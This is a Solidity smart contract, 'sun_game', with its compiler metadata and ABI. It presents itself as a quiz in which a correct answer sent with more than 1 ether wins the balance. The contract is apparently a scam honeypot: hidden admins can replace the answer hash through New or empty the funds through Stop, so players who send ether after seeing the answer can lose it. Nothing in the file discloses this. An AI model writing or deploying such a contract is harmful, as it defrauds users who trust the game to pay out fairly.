contract sun_game
{
function Try(string memory _response) public payable
{
require(msg.sender == tx.origin);
if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
{
payable(msg.sender).transfer(address(this).balance);
}
}
string public question;
bytes32 responseHash;
mapping (bytes32=>bool) admin;
function Start(string calldata _question, string calldata _response) public payable isAdmin{
if(responseHash==0x0){
responseHash = keccak256(abi.encode(_response));
question = _question;
}
}
function Stop() public payable isAdmin {
payable(msg.sender).transfer(address(this).balance);
responseHash = 0x0;
}
function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
question = _question;
responseHash = _responseHash;
}
constructor(bytes32[] memory admins) {
for(uint256 i=0; i< admins.length; i++){
admin[admins[i]] = true;
}
}
modifier isAdmin(){
require(admin[keccak256(abi.encodePacked(msg.sender))]);
_;
}
fallback() external {}
}
{
"compilationTarget": {
"sun_game.sol": "sun_game"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"bytes32[]","name":"admins","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"bytes32","name":"_responseHash","type":"bytes32"}],"name":"New","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"string","name":"_response","type":"string"}],"name":"Start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_response","type":"string"}],"name":"Try","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"question","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]